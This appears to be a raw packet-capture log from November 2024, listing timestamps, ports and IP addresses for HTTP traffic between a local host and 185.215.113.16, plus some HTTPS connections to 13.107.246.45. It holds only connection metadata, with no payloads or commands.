Nov 18, 2024 02:34:27.456532955 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456532955 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.456556082 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456567049 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456577063 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.456579924 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456592083 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456603050 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456613064 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.456614017 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456626892 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456638098 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456645012 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.456649065 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456661940 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456664085 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.456674099 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456686020 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456696987 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456706047 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.456711054 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456722975 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456733942 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456737995 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.456744909 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456758976 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456764936 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.456772089 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456783056 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456784010 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.456794977 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456806898 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456810951 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.456841946 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.457158089 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457170963 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457180977 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457194090 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457205057 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.457206011 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457237005 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.457313061 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457324982 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457335949 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457348108 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457359076 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.457360029 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457372904 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457386017 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457396984 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457407951 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457412958 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.457412958 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.457422018 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457432985 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.457436085 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457451105 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.457458019 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457463980 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457468987 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457474947 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457480907 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457490921 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457503080 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457515001 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457524061 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.457526922 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457539082 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457549095 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457556009 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.457561016 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457573891 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457583904 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.457585096 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457604885 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.457622051 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.457640886 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457654953 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457664967 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457679033 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457686901 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.457691908 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457700968 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.457706928 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457726002 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457737923 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457748890 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457756042 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.457767010 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.457771063 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457782984 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457789898 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.457794905 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457807064 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457814932 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.457818985 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457832098 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457843065 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.457844019 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457858086 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457864046 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.457871914 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457885027 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457896948 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457901955 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.457909107 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457921982 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457932949 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457942963 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.457946062 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457957029 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.457962036 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.457994938 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.458199024 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.458210945 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.458230019 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.458241940 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.458255053 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.458266020 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.458266973 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.458278894 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.458291054 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.458296061 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.458301067 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.458312035 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.458331108 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.458339930 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.458343983 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.458367109 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.458369017 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.458379984 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.458388090 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.458393097 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.458405018 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.458415031 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.458415985 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.458430052 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.458441973 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.458448887 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.458450079 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.458460093 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.458472967 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.458472967 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.458483934 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.458487034 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.458498955 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.458520889 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.458529949 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.458534956 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.458548069 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.458559036 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.458559990 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.458571911 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.458575010 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.458586931 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.458599091 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.458604097 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.458630085 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.511835098 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.547950029 CET	443	49792	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.548602104 CET	49792	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.548639059 CET	443	49792	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.549104929 CET	49792	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.549115896 CET	443	49792	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.623013973 CET	443	49793	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.623466015 CET	49793	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.623486042 CET	443	49793	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.623941898 CET	49793	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.623946905 CET	443	49793	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.675206900 CET	443	49792	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.675429106 CET	443	49792	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.675482988 CET	49792	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.675534964 CET	49792	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.675534964 CET	49792	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.675559044 CET	443	49792	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.675575972 CET	443	49792	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.678354025 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.678396940 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.678666115 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.678666115 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.678702116 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.739164114 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.739219904 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.752438068 CET	443	49793	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.752753973 CET	443	49793	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.756297112 CET	49793	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.756298065 CET	49793	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.756383896 CET	49793	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.756409883 CET	443	49793	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.760695934 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.760725021 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.761959076 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.764699936 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.764717102 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.957721949 CET	443	49795	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.958496094 CET	49795	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.958543062 CET	443	49795	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:27.962712049 CET	49795	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:27.962728977 CET	443	49795	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.027798891 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.028692961 CET	49796	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.028692961 CET	49796	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.028718948 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.028728008 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.088992119 CET	443	49795	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.089433908 CET	443	49795	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.089517117 CET	49795	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.089517117 CET	49795	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.089858055 CET	49795	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.089869022 CET	443	49795	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.092088938 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.092129946 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.092251062 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.092339039 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.092354059 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.157370090 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.157535076 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.157776117 CET	49796	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.173943996 CET	49796	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.173943996 CET	49796	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.173975945 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.173990011 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.176556110 CET	49800	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.176590919 CET	443	49800	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.176795006 CET	49800	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.178105116 CET	49800	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:28.178129911 CET	443	49800	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:28.192922115 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.197896004 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.197922945 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.197937012 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.197947979 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.197961092 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.197972059 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.197984934 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198019028 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198029995 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198040962 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198044062 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.198044062 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.198060036 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198072910 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198093891 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.198093891 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.198178053 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198189020 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198208094 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198219061 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198230028 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198230028 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.198230982 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.198241949 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198254108 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198265076 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198276997 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198288918 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198298931 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.198298931 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.198317051 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.198363066 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198374033 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198385000 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198395967 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198407888 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198417902 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.198419094 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198417902 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.198431969 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198443890 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198456049 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198465109 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.198465109 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.198467016 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198515892 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198527098 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198529005 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.198529005 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.198538065 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198549986 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198560953 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198570967 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198581934 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198591948 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.198591948 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.198599100 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198611021 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198621988 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198633909 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198645115 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.198645115 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.198729992 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198741913 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198753119 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198770046 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198771954 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.198771954 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.198782921 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198795080 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198827028 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.198870897 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198882103 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198893070 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198904991 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198916912 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198926926 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198928118 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.198929071 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.198929071 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.198939085 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.198951006 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.199026108 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.199038029 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.199047089 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.199048042 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.199048042 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.199062109 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.199074984 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.199086905 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.199096918 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.199107885 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.199119091 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.199127913 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.199127913 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.199131012 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.199143887 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.199162006 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.199163914 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.199183941 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.199204922 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.199213028 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.199214935 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.199229956 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.199235916 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.199242115 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.199250937 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.199261904 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.199273109 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.199285030 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:28.199285030 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:28.199285030 CET	49776	80	192.168.2.6	185.215.113.16
